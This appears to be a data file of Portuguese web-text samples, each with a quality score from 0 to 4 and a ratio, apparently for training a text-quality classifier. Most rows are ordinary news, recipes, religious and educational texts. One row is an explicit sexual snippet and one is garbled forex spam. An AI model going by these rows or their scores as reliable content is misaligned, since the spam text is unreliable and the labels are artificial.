trabalhos de todas as áreas da matemática influenciadas por ele” (Wikipedia). +Segundo Hardy, que orientou o matemático indiano juntamente com John Littlewood (1885-1977), “as descobertas de Ramanujan são extraordinariamente ricas e que muitas vezes há mais nelas do que é visto inicialmente” (Wikipedia). Entre seus trabalhos e descobertas mais conhecidos estão: +Constante de Landau-Ramanujan; +Função teta de Mock; +Constante de Ramanujan-Soldner (constante matemática definida como o zero positivo exclusivo da função integral logarítmica); +Função teta de Ramanujan (generaliza a forma das funções tetas de Jacobi, enquanto mantém suas propriedades gerais); +Soma de Ramanujan; +Identidades de Rogers-Ramanujan. +Ramanujan (ao centro) e Hardy (à direita), numa fotografia de grupo na entrada do Trinity College, em Cambridge. +As contribuições de Ramanujan são essenciais para o campo da matemáti...",original,original,original,original,4,0.8 +"Notícias em primeira mão.: Palavra do dia - Seja forte! Socialite.activate (elemento, 'Widget'); +Assim é em nossas vidas, o inimigo sempre procura alguma área para atacar, mas quando percebemos o seu ataque, precisamos fazer como Moisés, tomar posição, nos apegar a palavra de Deus e adora-lo.",original,original,original,original,1,0.2 +"Destinação de entulhos pauta de reunião na Câmara - Câmara Municipal de Cascavel +Destinação de entulhos pauta de reunião na Câmara +Nesta quarta-feira, os vereadores Fernando Hallberg (PPL) e Pedro Sampaio (PSDB) se reuniram na Câmara com empresários do setor de coleta de entulhos e técnicas da Secretaria de Meio Ambiente. “Estamos desde o início do mandato investigando os aterros ou depósitos irregulares em Cascavel e encaminhando denúncias à prefeitura e ao Ministério Público e por isso, queríamos ouvir as demandas das empresas para melhorar a legislação atual e tornar a fiscalização mais eficiente”, explicou Hallberg. +Dentre as principais reivindicações evidenciadas na conversa estão a ampliação da fiscalização dos irregulares, contratação de mais fiscais pela prefeitura, cumprimento da lei que assegura o uso de pelo menos 10% dos resíduos da construção civil em obras e serviços públicos (Lei 6.663/2016), estudos para implantação da nota fiscal direta para o gerador do resíduo e visita a cidades consideradas referência na área. +Atualmente, o sistema de descarte de resíduos sólidos da construção civil funciona da seguinte maneira: para que uma obra seja feita – de reforma ou de construção – o responsável precisa inicialmente providenciar um plano de gerenciamento estipulando para onde cada tipo de material será destinado. +Com o fechamento do aterro sanitário que ficava no Guarujá, os empresários de caçambas e autônomos deveriam encaminhar os resíduos da construção civil para as duas empresas que possuem licenciamento ambiental e são autorizadas a recebê-los e fazer a reciclagem. Porém, como explica Pedro Sampaio, “muitos caçambeiros estão descartando o lixo em fundos de vale, lotes baldios e em áreas de preservação permanente, obrigando a Secretaria de Meio Ambiente a fazer a limpeza dos locais, causando degradação do meio ambiente e aumentando o risco de dengue e outras doenças”. +A destinação correta depende da classificação de cada tipo de resíduo e pela maneira como pode ser reciclado ou descartado. Atualmente, há 18 empresas autorizadas a realizar a coleta, por isso, é importante que quem está construindo se informe sobre a qualidade do serviço da empresa contratada, tendo em vista que a responsabilidade pelo descarte de qualquer tipo de resíduo é do gerador, ou seja, do cidadão. +Mais nesta categoria:« Programa de Evasão Escolar: Audiência Pública debaterá PL 93/2018Vereador Mazutti presta contas de seu mandato junto à classe contábil »",original,original,original,original,3,0.6 +"CE - Pag. 162 +Em virtude de surgirem dificuldades, não devemos abandonar as indústrias de que temos lançado mão como parte da obra educativa. Enquanto cursam a escola, os jovens devem ter oportunidade de aprender a usar as ferramentas. Sob o conselho de obreiros experimentados, carpinteiros aptos para ensinar, pacientes e bondosos, os próprios alunos devem edificar os prédios do terreno da escola, e fazer os necessários melhoramentos, aprendendo assim, mediante lições práticas, a construir economicamente. Os alunos também devem exercitar-se em aprender todas as espécies de obra relacionadas com a tipografia, como sejam composição, impressão e encadernação, juntamente com fazer tendas e outros ramos de trabalho útil. Devem-se plantar frutas miúdas, cultivar verduras e flores, e isto, as alunas devem ser chamadas para o ar livre, a fazer. Assim, ao mesmo tempo que exercitam o cérebro, os músculos e ossos, adquirem conhecimentos da vida prática. +O preparo em todos esses pontos tornará nossos jovens úteis no levar a verdade aos campos estrangeiros. Não terão aí que depender do povo entre o qual vão viver para cozinhar e semear e construir para eles, nem será necessário gastar dinheiro para transportar homens de milhares de quilômetros para planejarem edifícios escolares, igrejas e moradias. Os missionários receberão muito mais influência entre o povo, uma vez que sejam capazes de ensinar os inexperientes a trabalhar de acordo com os melhores métodos e a produzir os melhores resultados. Serão assim aptos a demonstrar que os missionários se podem tornar educadores industriosos, e essa espécie de instrução será apreciada especialmente onde escasseiam os recursos. Será necessário muito menor capital para sustentar esses missionários, pois, a par de seus estudos, exercitaram da melhor maneira possível +CE - Pag. 163 +capacidade física em trabalho prático; e onde quer que eles vão, tudo quanto obtiveram nesse sentido, lhes proporcionará vantagens. Seja proporcionada aos alunos dos departamentos industriais, quer se empreguem em trabalho doméstico, quer no cultivo do solo, quer em outros serviços, a oportunidade de contarem as lições práticas e espirituais que aprenderam em relação com o seu trabalho. Em todos os deveres práticos da vida, devem-se fazer comparações com os ensinos da Natureza e da Bíblia. +Os motivos que nos têm levado, em alguns lugares, a nos desviar das cidades e localizar nossas escolas no campo, aplicam-se da mesma maneira a escolas em outros lugares. Gastar dinheiro em mais construções quando a escola grandemente endividada, não está de acordo com os planos de Deus. Houvesse o dinheiro que nossas escolas maiores empregaram em prédios dispendiosos sido aplicado em terrenos onde nossos estudantes pudessem receber a educação apropriada, não haveria tão grande número de alunos agora lutando sob o peso de débito crescente, e a obra dessas instituições estaria em mais prósperas condições. Houvesse sido seguida essa direção, e teria havido algumas murmurações por parte dos alunos, suscitar-se-iam muitas objeções da parte dos pais; mas os estudantes teriam assegurado uma educação completa, a qual os haveria preparado, não somente para o trabalho prático em vários ofícios, mas para um lugar na fazenda do Senhor na terra renovada. +Houvessem nossas escolas estimulado o trabalho no sentido agrícola, e teriam agora aspecto inteiramente diverso. Não haveria tão grande desânimo. Haver-se-iam vencido as influências contrárias; ter-se-iam mudado as condições financeiras. Ter-se-ia, quanto aos estudantes, uniformizado o trabalho; e como todo o organismo humano seria proporcionalmente exercitado, desenvolver-se-ia maior resistência +CE - Pag. 164 +física e mental. Mas as instruções que ao Senhor aprouve dar foram tão frouxamente aplicadas, que os obstáculos não têm sido vencidos. +Caso a terra seja cultivada, há de, com a bênção de Deus, suprir nossas necessidades. Não nos devemos desanimar por causa de coisas temporais, por causa de aparen...",original,original,original,original,3,0.6 +"Tempo de vida Opção binária Caruaru Plataforma Online Negociação CFD Erechim Preço Opção binária São Vicente Melhores Corretoras Comércio forex Lages Corretor Forex Contagem Qualidade Escola forex Santa Catarina +Sistema. Receba as últimas novidades de troca de câmbio e atualizações atuais de comerciantes ativos diariamente. Duas oCntagem ofertas de ações Contagwm funcionários mais comuns são opções de ações e ações restritas. Preencha a documentação apropriada. Uma mini conta fornece-lhe a maior relação de alavancagem desde que você está usando uma pequena quantidade de capital com o qual executar grandes Bináárias em seus comércios. Alavancagem ou engrenagem cria maior risco e perda de exposição. Em iBnárias disso, um patrocinador de APs deve enviar um pedido Procurar Negociação forex Três Lagoas à NFA buscando uma renúncia baseada nessas circunstâncias para que suas APs tomem a Série 3 de acordo com a Regra 401 (e) (2) (ii) do Registro de NFA. +It39s tudo sobre Opçções estratégia forex adequada. 6 Bahwa aspek hukum perjanjian perdagangan dalam transaksi elektronik (Comércio Eletrônico) dapat diterapkan atau diadopsi dalam peraturan perundangundangan yang berlaku (hukum positip) dengan mengacu pada kaidah-kaidah hukum perdagangan Seguri dengan menggunakan asas konsensualitas dimana kesepakatan sebagai suatu yang menjadi dasar adanya perikatan dalam Perjanjian perdagangan artinya apa yang tela disepakati oleh para pihak dalam perdagangan dengan modelo transaksi elektronik (comércio eletrônico) menjadi hukum dan mengikat bagi para pihak walaupun belum secara konkrit diatur oleh undang undang Bahwa kepastian atas subjek dan objek perdagangan menjadi hal yang diharapkan terkait dengan segala aspek Hukumnya, khususnyanya mengenai, legalitas dari suatu, perjanjian. +Tuhan memberkati Amin. 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Salteei a cebola picada com o alho, quando esta estava transparente juntei a cenoura ralada e os espinafres. +4. Quando cozido, desfiei o bacalhau e juntei ao preparado. Misturei tudo bem e temperei com as especiarias que gosto (sal, pimenta, pimentão doce...) +5. Preparei o puré de couve flor triturando tudo com um bocadinho de leite de amêndoa para ajudar. Temperei com sal, pimenta, noz moscada e mostarda dijon que eu adoro! +6. Agora é a parte divertida! Fazer as camadas de puré, bacalhau, puré... +7. Por último triturei uma fatia de pão de centeio congelada e pus em cima do bacalhau antes de levar ao forno cerca de 20 minutos! +P.S como não vivo sem queijo derretido, atirei um bocadinho de mozarella ralada para cima... +Tags: +almoço healthy +almoço leve +bacalhau +bacalhau espiritual +bacalhau espirtual saudável +bolinhos de bacalhau saudável +dieta +empadão fit +empadão light +low carb +low carbs +lowcarb +receitas low carb. healthy +link do post +comentar +favorito +12 +Mar19 +Empadão de Atum e Couve Flor +Mat +Empadão faz-me lembrar casa. Conforto. Quentinho. Adoro desde sempreee empadão. Mas confesso que desde que vivo sozinha que nunca fiz um empadão em casa. Ontem apeteceu-me mesmooo mas queria uma versão mais light de empadão. Inventei esta receita e honestamente amei. Vou voltar de certeza a fazer. Deixo-vos aqui a receita para que possam experimentar. Eu usei atum mas claro que também pode usar carne picada ou até só legumes! +Ingredientes: +- 1 Lata de Atum +- 1 Cebola +- 1 dente alho +- Espinafres +- 2 tomates maduros +- 1 Couve-flor +- Especiarias +- Mostarda Dijon +1. Comecei por saltear a cebola e o alho até ficarem translúcidos. +2. Acrescentei o tomate e os espinafres e deixei cozinhar com um bocadinho de água cerca de 3 minutos. +3. Por último adicionei o atum, temperei com sal, pimenta e pimentão doce e guardei. +4. Entretanto com a minha couve-flor já cozida preparei o puré. Coloquei a couve flor com um bocadinho de leite, sal, pimenta, mostarda dijon e noz moscada numa trituradora e triturei até ficar puré. Gosto do puré macio por isso coloquei um bocadinho mais de leite até atingir a espessura que eu gosto! +5. Por último é só montar o empadão. Puré, recheio puré. +6. Levei ao forno até ficar tostado e já está! +Tags: +almoçar fora +almoço healthy +almoço leve +couve-flor +dieta +empadão +empadão fit +empadão light +fit recipes +fitfood +healthy +healthy recipes +healthylifestyle +jantar fácil +jantar leve +jantar light +legumes +leve +light +love +low carb +low carbs +link do post +comentar +favorito (3) +09 +Jun18 +Empadão de Brócolos com Atum +Mat +Esta semana decidi experimentar umas receitas diferentes. Ontem foi o dia de fazer empadão. Sempre adorei empadão de carne, acho que se fazia lá em casa pelo menos uma vez por semana! Agora que vivo sozinha não faço. Arranjei uma versão saudável de empadão e muito fácil de fazer para me relembrar os tempos em que vivia em casa eheh. +Nesta minha versão mais saudável e leve de empadão substituiu o puré, por puré de batata doce e de brócolos. Isto torna-o muito mais leve sem perder a textura de empadão. Para recheio podem escolher o que quiserem! Legumes, atum, carne picada... Desta vez usei legumes e atum e adorei a combinação. A forma de eu avaliar se fica bom é se os homens da casa gostarem. Quando não gostam dizem que sabe a comida de passarinho. Não foi o caso, fiz dose dupla para sobrar para o almoço e... não sobrou! Bem aqui ficam as fotografias do jantar e a receita. Espero que gos...",original,original,original,original,2,0.4 +"Governo federal envia 4,3 milhões de comprimidos de cloroquina a estados | CNN Brasil +Considerado o epicentro da pandemia, São Paulo recebeu a maior parte, 986 mil comprimidos. Na sequência estão o Pará, o Distrito Federal e o Paraná +Considerado o epicentro da pandemia, São Paulo recebeu a maior parte, 986 mil comprimidos. Na sequência estão o Pará, o Distrito Federal e o Paraná. +Hidroxicloroquina não mostra benefícios e Reino Unido cancela testes +Covid-19: britânicos encerram testes e apontam hidroxicloroquina como ‘inútil’ +A Secretaria de Saúde de São Paulo afirmou que ""o uso da cloroquina é recomendado em casos leves e moderados, devido à insuficiência de evidências científicas que comprovem a eficácia no tratamento da doença"". +Nos Estados Unidos, Food and Drug Administration (FDA, em inglês), órgão equivalente à Anvisa no país, revogou a autorização para uso emergencial dos medicamentos hidroxicloroquina e cloroquina para o tratamento de casos do novo coronavírus. +A FDA concluiu que eles não atendem aos critérios legais para autorização de uso emergencial, pois é improvável que sejam eficazes no tratamento da Covid-19 de acordo com as últimas evidências científicas. +Três meses da 1ª morte +Nesta quarta (17), o Brasil chega a três meses do registro da primeira morte por coronavírus. +A vítima foi um homem de 62 anos que estava internado no Hospital Sancta Maggiore, da Rede Prevent Sênior, no Paraíso, zona sul da capital paulista. +Atualmente, o país já computa 45.241 mortos. Em São Paulo, epicentro da deonça no Brasil, 11.132 pessoas já morreram vítimas do novo coronavírus.",original,original,original,original,1,0.2 +"A IGREJA, A REFORMA E A CIVILIZAÇÃO: OS MINISTROS DA NOVA ALIANÇA INTERPRETAM CORRETAMENTE A BÍBLIA +BECO SEM SAÍDA E OS MINISTROS DA NOVA ALIANÇA +É HUMANAMENTE IMPOSSÍVEL DETERMINAR COM SEGURANÇA +- Qual foi o sentido que Cristo quis colocar em sua afirmação: ""ISTO É O MEU CORPO""? +- Fosse a Bíblia interpretada segundo o parecer humano estaríamos num beco sem saída. +Um texto bíblico pode, algumas vezes, ser interpretado literal, ou simbolicamente e nesse caso qual dos dois sentidos seria o correto? +""Durante a refeição, Jesus tomou o pão e, depois de o benzer, partiu-o e deu-lho, dizendo: Tomai, isto é o meu corpo"" (Mc 14,22). +Humanamente seria impossível determinar com segurança qual foi o sentido que Cristo quis colocar em sua afirmação. +Fosse a Bíblia interpretada segundo o parecer humano estaríamos num beco sem saída. +A quem, então, recorrer para saber o sentido verdadeiro? +""Ele é que nos fez aptos para ser ministros da Nova Aliança, não a da letra, e sim a do Espírito. Porque a letra mata, mas o Espírito vivifica."" (II Cor 3,6) +Tal significa que podemos recorrer a estes ""ministros da Nova Aliança"", ou a seus sucessores legítimos. +São a eles que o Espírito tornou aptos para indicar-nos qual é o sentido verdadeiro das Escrituras. +PORTANTO, NÃO DISPOMOS APENAS DAS ESCRITURAS, MAS TAMBÉM DE MINISTROS CAPAZES DE INTERPRETÁ-LA SEGUNDO O ESPÍRITO +POSTAGEM SEGUINTE - Foram terríveis os prejuízos causados pelos tradutores protestantes em todas as suas tentativas de traduzir as Sagradas Escrituras. A incompetência, aliada muitas vezes a má fé, causou danos irreparáveis aos ensinamentos de Jesus Cristo na terra contribuindo decisivamente para a dispersão de seu rebanho. +POSTAGEM ANTERIOR - De acordo com o jornal Daily Mail uma jovem britânica de 13 anos voltou à vida depois que um padre colocou água benta em sua cabeça. Lucy Hussey-Bergonzi estava condenada à morte depois de sofrer uma hemorragia cerebral em 2009.",original,original,original,original,2,0.4 +"Escola realiza Projeto Serra da Capivara - Aurora do Povo Brasileiro | Acervo | ISA +Autor: Livia Barradas +A vice-governadora Margarete Coelho acompanhou a visita dos alunos ao Parque Nacional Serra da Capivara. +Com o objetivo de aliar teoria e prática no aprendizado dos estudantes, o Centro de Ensino de Tempo Integral Solange Sinimbu Arêa Leão Viana, localizado no bairro Promorar, em Teresina, realizou o Projeto Serra da Capivara - Aurora do Povo Brasileiro. Mais de 30 alunos do ensino médio participaram de uma aula passeio ao município de São Raimundo Nonato e ao Parque Nacional Serra da Capivara, considerado o berço do homem americano. +O projeto é uma atividade interdisciplinar, que conta com o trabalho dos professores de biologia, história, português, geografia e educação física. Durante o passeio, a professora de biologia, Dilcilene Santos Silva, enfatizou os conhecimentos a cerca da evolução humana. ""Temos aqui o berço do homem americano, os primeiros vestígios de vida nessa região. Viemos mostrar na prática o que já trabalhamos em sala de aula"", disse a professora. +Para a diretora adjunta, Ivanilde Mendes, é essencial envolver os alunos em atividades que estimulem o aprendizado fora da escola. ""A aula passeio permite a integração das disciplinas, o contato com a natureza e o conhecimento a cerca da conservação do patrimônio. São inúmeros os benefícios para os alunos"", afirmou a diretora. +Já, a vice-governadora Margarete Coelho, que acompanhou a visita, destacou a importância desse tipo de atividade para os alunos e também para a valorização do estado. ""O Parque Nacional Serra da Capivara é um importante patrimônio da humanidade e uma das maiores riquezas do Piauí. Faz parte não só da nossa história, mas também da história do homem das américas. Portanto, cabe a nós conhecê-lo, estudá-lo e contribuir com a sua preservação para as futuras gerações. É nosso dever incluir visitas e aulas práticas no Parque, na programação de nossas escolas, proporcionando a jovens o contato com um dos maiores e mais belos museus a céu aberto do mundo! Conhecer o Parque e as pesquisas ali desenvolvidas despertará em nossos alunos um grande orgulho, aumentando a sua curiosidade natural, tornando as aulas mais interessantes e aumentando o seu amor pelo Piauí"", destacou Margarete Coelho. +http://www.piaui.pi.gov.br/noticias/index/categoria/2/id/26681",original,original,original,original,4,0.8 +"Enviado por Allysson Lucca +Como transformar a sua idéia em um aplicativo do começo ao fim. +salvarSalvar O Caminho Das Apps para ler mais tarde +MITAPP Inventor Apostila 2 +Tutorial – Como fazer backup de tudo (incluindo save de jogos) _ Eu Sou Android.pdf +Eusouandroid Com Tutorial Localize Seu Aparelho Android Sem 2 +1478780370ebook Umovme Guia Completo Para Como Criar e Vender Apps Mobile +AppJTe Guia Rapido V2 Noticias +guio da atividade +Como transformar a sua ideia em um aplicativo. Do comeo ao m! +Obrigado ao time da Luccaco por ter sempre aceitado os desafios e pela produo desse material. Arte capa: Luccaco *be digital Texto: Allysson Lucca Reviso: Nilson Carlos Rosa Distribuio: Gratuta +Acho importante, de incio, me apresentar. muito frustrante ver livros, cursos, palestras, etc... feitos por profissionais, que no passam de iluses, os gurus falsos, aqueles que do dicas para sua empresa decolar mas nunca montaram uma na vida. Meu nome Allysson Lucca, atualmente sou Diretor de Estdio na Luccaco *be digital, um estdio de design e desenvolvimento de projetos digitais em Curitiba. Sou formado em Desenho Industrial pela PUCPR, especializei-me em Design Grfico e nos ltimos 13 anos trabalho exclusivamente com projetos digitais. Antes disso, fiz de tudo um pouco, desde layouts para embalagens de farinha at projetos grficos para revistas de bordo. Na Luccaco, trabalhamos com organizaes no governamentais e empresas privadas; entre nossos clientes posso citar: Naes Unidas, Mdicos Sem Fronteiras, Grupo Positivo, Grupo Lumen, acesse nosso site para uma lista completa www.luccaco. com. O contedo desse livro nasceu do nosso dia a dia. Antes da exploso do mercado dos aplicativos fazamos somente websites, tivemos que aprender novas linguagens para acompanhar o mercado e sabemos da dificuldade e curiosidade que muitos tm quando falamos de fazer uma app, seja voc um desenvolvedor ou um jornalista, qualquer pessoa pode ter uma boa ideia, mas no ter ideia de onde comear. Nesse livro, no vou falar de aspectos tcnicos, no entendo nada de programao, ou seja, voc no precisa ser programador para entender o que escrevo aqui, vou procurar ser o mais claro possvel, explicando todos os passos necessrios para trazer a sua ideia ao pblico. Boa leitura! +O que so Apps? +Apps, Aplicativos ou at Aplicaes, so softwares que tm por objetivo ajudar o usurio a fazer determinadas tarefas, funes ou simplesmente passar o tempo lendo notcias ou jogando. Os aplicativos j existem h muito tempo, mas somente com a popularizao dos smartphones e mais tarde dos tablets que o termo tornou-se conhecido. Aqui iremos usar os termos Aplicativos e Apps. O mercado tem hoje 3 canais de publicao de aplicativos, so eles: +App Store, Apple. +A App Store, lanada em julho de 2008, um servio para o iPhone, iPod Touch e iPad criado pela Apple Inc., que permite aos usurios navegar e fazer download de aplicativos pela iTunes Store. Dependendo da aplicao, ela pode ser grtis ou paga. Os aplicativos podem ser baixados diretamente no dispositivo, ou baixados para um computador via iTunes. +Voc precisa se cadastrar como desenvolvedor e pagar uma taxa anual de US$99,00 (noventa e nove dlares) para poder enviar aplicativos para aprovao na App Store. Cada aplicativo enviado passa por um processo de aprovao dentro da Apple. Essa etapa pode levar dias ou meses, vai depender da tecnologia, das funes, do contedo, design, entre outros detalhes. Caso seu aplicativo no seja aprovado, voc pode corrigir os itens apontados pela Apple e reenviar o produto. No momento em que escrevo, existem mais de 700.000 aplicativos disponveis para download. +Google Play, Google. +Google Play a loja online mantida pela Google para distribuio de aplicativos, jogos, filmes, msica e livros. Anteriormente a loja chamava-se Android Market. Esta mudana de nome para Google Play ocorreu para que o Google pudesse unificar o Android Market com a loja de msicas, filmes e livros e assim distribuir todo seu contedo digital em um s lugar. Os aplicat...",original,original,original,original,3,0.6 +"Dei gostoso para o Negao...ele fudeu muito esse meu Cu. Nunca mais fui o mesmo...estourado total. +Continuação da serie meu pau e meu... +de 4 com o parceiro fixo e meu vizinho",original,original,original,original,0,0.0 +"LOS TERRITORIOS | Filme de Ivan Granovsky estreia nesta quinta-feira - Poltrona Pop LOS TERRITORIOS | Filme de Ivan Granovsky estreia nesta quinta-feira - Poltrona Pop +Home > The Beast (curta) > LOS TERRITORIOS | Filme de Ivan Granovsky estreia nesta quinta-feira +Ivan Granovsky Los Territorios The Beast (curta) +LOS TERRITORIOS | Filme de Ivan Granovsky estreia nesta quinta-feira +Curta metragem ´The Beast´, dirigido por Michael Wahrmann junto com a Sul Africana Samantha Nell, será exibido nos cinemas antes das sessões do filme “Los Territorios” +O filme ""LOS TERRITORIOS"", de Ivan Granovsky, estreia nesta quinta-feira, dia 14 de junho, no Rio de Janeiro. O longa acompanha a jornada de Ivan, filho de um importante jornalista argentino que, após o ataque ao jornal Charlie Hebdo, em Paris, sai em busca de diferentes eventos e conflitos geopolíticos ao redor do mundo. +""LOS TERRITORIOS"" teve sua estreia mundial no Festival Internacional de Cinema de Roterdã, no início do ano. Além de filmagens realizadas na Argentina, França, Espanha, Palestina, Israel, Grécia, Síria e outros lugares do mundo, o longa também foi rodado em São Paulo e Brasília e conta com a participação especial do Presidente Luiz Inácio Lula da Silva. +O jornalista Martin Granovsky, pai de Ivan, também participa do filme. Formado em história, Granovsky atua como colunista do jornal “Página 12”, na Argentina, dirige o “Núcleo de Estudos sobre o Brasil” na Universidade Metropolitana para a Educação e Trabalho, é professor de relações internacionais e coordenador da TV no Conselho Latinoamericano de Ciências Sociais. +Produzido pelas produtoras argentinas Autocroma e CSP Filmes e pela brasileira SANCHO&PUNTA, ""LOS TERRITORIOS"" teve toda sua pós-produção realizada no Brasil. O roteiro é assinado também pelo uruguaio Michael Wahrmann, e a trilha original, além do desenho de som, é do brasileiro Edson Secco. O filme chega aos cinemas após uma longa carreira em festivais, inclusive no Festival Internacional de Cinema do Rio em 2017, com distribuição da Vitrine Filmes. +Curta metragem ""THE BEAST"" +O curta metragem “THE BEAST”, dirigido por Michael Wahrmann junto com a Sul Africana Samantha Nell, será exibido nos cinemas antes das sessões do filme “Los Territorios”, de Ivan Granovsky, que tem coprodução do próprio Wahrmann que também participou do roteiro. +""THE BEAST"" narra um dia num parque temático na África do Sul: enquanto Jacob sonha que mata um leopardo com as próprias mãos, Cosmas varre folhas debaixo da única árvore com sinal de celular e aproveita para ouvir as conversas dos turistas ao telefone. Já Ndu, é um guia-florestal num safári onde não tem bicho nenhum. E o dançarino Shaka quer atuar numa peça de Shakespeare, mas sua namorada Thando lhe diz umas verdades sobre a vida. +Premiado em festivais como Janela Internacional de Cinema, Panorama Coisa de Cinema, LIFFE Film Festival, Labour Film Festival, Short Waves Festival e outros, o curta teve estreia mundial no Festival de Cannes, onde foi exibido na Quinzena dos Realizadores em 2016. +Press-release: Vitrine Filmes (via e-mail). +Item Reviewed: LOS TERRITORIOS | Filme de Ivan Granovsky estreia nesta quinta-feira Rating: 5 Reviewed By: Marlo George",original,original,original,original,4,0.8 +"Apesar de indispensáveis para o marketing, seja corporativo ou pessoal, as redes sociais podem limitar o rendimento no trabalho. Sem uma política clara de uso das redes, a produtividade das empresas brasileiras tende a cair com a expansão das redes entre todas as idades e classes sociais no Brasil através de dispositivos móveis. +Apesar de existir pessoas que conseguem conciliar trabalho e redes sociais sem nenhum problema de produtividade, há os que passam o dia todo nas redes e não conseguem produzir e, entre esses dois grupos, aqueles que poderiam produzir mais, não fossem as intervenções instantâneas de mensagens, “curtidas” e “compartilhamentos”. +As grandes corporações já estão atentas a isso. Se comunicar com os amigos por meio de redes sociais é uma prática que pode provocar demissão por justa causa e a perda dos direitos trabalhistas, como o seguro desemprego, aviso prévio e o saque do Fundo de Garantia do Tempo de Serviço (FGTS). +Na Justiça do Trabalho, o número de demissões por justa causa devido ao uso inadequado das ferramentas digitais no ambiente corporativo vem aumentando significativamente. +Embora as normas sobre a conduta dos trabalhadores presentes na Consolidação das Leis do Trabalho (CLT) não regulamentem de forma específica o uso de Facebook e outras redes durante o serviço, as utilização inapropriada pode ser adaptada para a legislação, culminando com demissão por justa causa. A justa causa, neste caso, teria origem na transgressão às regras estabelecidas pelo empregador. +O empregador deve esclarecer formalmente, por escrito preferencialmente, a proibição do uso das redes sociais, mesmo que por dispositivos móveis pessoais. +E as preocupações dos empregadores não param por aqui. As empresas geralmente respondem de forma objetiva pelos atos praticados por seus funcionários durante o expediente ou utilizando-se de meios por ela fornecidos, ou seja, independentemente de culpa. +Também, é necessário que seja levado em consideração os riscos de crimes virtuais. Se um funcionário utilizar-se do computador da empresa para praticar atos ilegais nas redes sociais, causando prejuízos a terceiros, a empresa poderá ser responsabilizada, caso não consiga individualizar o agente criminoso. Isso se deve ao fato de que normalmente as empresas se utilizam de uma única conexão compartilhada por todos os usuários internos. Assim, os acessos, e interações com o mundo externo estão relacionados com o IP público da empresa, sendo por vezes, impossível identificar quem de dentro da organização é o autor de determinado acesso. +A solução é estabelecer regras, deixar claro na relação de trabalho que o objetivo é manter a produtividade, evitar prejuízos e, consequentemente, a saúde do negócio que mantém o salário do empregado.",original,original,original,original,3,0.6 +"No fundo, notas de âmbar, musgo de carvalho, tonka e notas de couro.",original,original,original,original,0,0.0 +"Tosetto.com: Nada de novo no formigueiro +Nada de novo no formigueiro +“The Ant and the Grasshopper"" (1919), ilustração de Milo Winter (1886-1956) pertencente ao acervo do Projeto Gutenberg. +A linha reta não existe no universo físico, apenas na teoria. A linha reta é um conceito abstrato. Quando ocorre um Circuit Breaker, fica evidente que a renda variável “varia” e que um patrimônio construído sobre estas bases não sobe em linha reta, mas sobe. +Estamos em março de 2020. A Bolsa de São Paulo conta com centenas de milhares de investidores novatos, que estão experimentando os reflexos do primeiro Circuit Breaker de suas jornadas no mercado de capitais. No dia 9, o Ibovespa caiu cerca de 12%: a maior queda em um único dia de todo o século 21. Não é pouca coisa. +O mercado vinha em alta prolongada, mas começou a inverter sua curva com as primeiras notícias do Coronavírus, em sua versão Covid-19, surgida na China. Logo a doença se espalhou por todos os continentes, forçando países a adotarem quarentenas, reduzindo deslocamentos de pessoas e mercadorias. +Quando o componente do petróleo entrou na equação, devido à queda na demanda, Arábia Saudita e Rússia não se entenderam sobre o protocolo a ser seguido para evitar a volatilidade no preço do barril. As Bolsas ao redor do mundo reagiram mal. A Bolsa de São Paulo sofreu mais, assim como o Real, moeda que mais se desvalorizou frente ao Dólar. +O último Circuit Breaker que a Bolsa do Brasil havia sofrido foi em 17 de maio de 2017, data que ficou conhecida como “Joesley Day”, devido ao vazamento de conversas pouco republicanas entre o empresário Joesley Batista e o Presidente Michel Temer, que sepultou, na ocasião, o andamento da Reforma da Previdência. +O Circuit Breaker é um dispositivo que as Bolsas usam para interromper pregões eletrônicos sujeitos a volatilidades exageradas, sendo acionado geralmente para conter quedas abruptas. +Se o Circuit Breaker de 2017 teve repercussão limitada ao mercado brasileiro, em função de uma notícia política local que logo foi absorvida – as ações se recuperaram logo; o primeiro Circuit Breaker de 2020 está relacionado a uma conjuntura internacional e provavelmente terá consequências mais duradouras, como pudemos verificar com as demais interrupções das negociações na B3 ao longo da semana decorrente. +Tenho recebido perguntas a respeito deste momento de turbulência na B3. Em geral, meus contatos querem saber o que fazer. Que ações comprar? O que mudou? +Não mudou nada. Não para quem é adepto do Value Investing e do Buy and Hold: investimento em valor focado no longo prazo. Quem adota estas premissas para comprar renda passiva tem mais é que comemorar. +Investidores que aportam em ativos geradores de renda passiva torcem para que as ações de boas empresas e das cotas de bons fundos imobiliários estejam com preços descontados, para que o Dividend Yield seja mais alto. Sempre é bom lembrar: o Dividend Yield é a relação entre o preço pago por uma ação (ou cota) e o seu retorno nos últimos doze meses, em forma de dividendos. +Quem investe pensando nos dividendos age como uma formiga: passa o verão coletando alimentos no entorno, para poder consumi-los no conforto do formigueiro, quando o inverno chegar. Por isso, as estratégias relacionadas aos dividendos geram carteiras previdenciárias de investimentos. +Você já observou o funcionamento de um formigueiro durante o verão? Em algumas horas do dia é possível ver filas de formigas, vindas de diversas direções, carregando pedaços de folhas verdes, grãos de arroz, asas de insetos e todo tipo de alimento que elas apreciam. +Vamos além: você já cometeu a maldade de cutucar a borda de acesso de um formigueiro com um graveto, esparramando um pouco da terra disposta em forma de vulcão? Que criança curiosa nunca fez isso? +Neste instante, as formigas entram em alvoroço. Elas parecem ficar desorientadas. Enquanto umas tentam atacar o inimigo (experimente colocar seu dedo indicador no meio da bagunça), outras correm para dentro do...",original,original,original,original,2,0.4 +"MÃE PAGARÁ R$ 10 MIL DE DANOS MORAIS POR ALIENAÇÃO PARENTAL CONTRA O PAI – ADFAS :: Associação de Direito de Família e das Sucessões +terça-feira, 6 dezembro, 2022 ++55 (11) 3252-2131 +Facebook +Twitter +Youtube +LinkedIn +ASSOCIE-SE +Publisher - +Clique aqui para entrar Ainda não é associado? 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A decisão é do juiz de Direito Hélio Aparecido Ferreira de Sena, 3ª vara Cível de Pindamonhangaba/SP, ao concluir que a conduta da genitora violou o direito fundamental do homem à convivência familiar com sua filha. +Consta nos autos que o pai procurou a Justiça alegando que a filha sofria alienação parental pela genitora, dificultando, assim, seu acesso de convívio com a menor. Através de laudo psicossocial, foi comprovado a prática e sentença e acórdão regulamentaram as vistas entre o pai e a menor. +Apesar da decisão judicial, o pai alegou que a genitora continuou influenciando a criança contra ele e impedindo-o de exercer seu direito de visitas, motivo pelo qual pleiteou indenização por danos morais. A mãe, por sua vez, negou ter influenciado a filha e alegou que o pai agia de maneira agressiva. +Convivência familiar +Ao analisar o caso, o magistrado destacou que, em processo anterior, o Judiciário já declarou que a filha do casal sofreu alienação parental provocada pela genitora. Pontuou, ainda, que a mãe “atuou de maneira negligente (culpa) no trato da relação da sua filha com o genitor, o que acarretou a alienação parental, 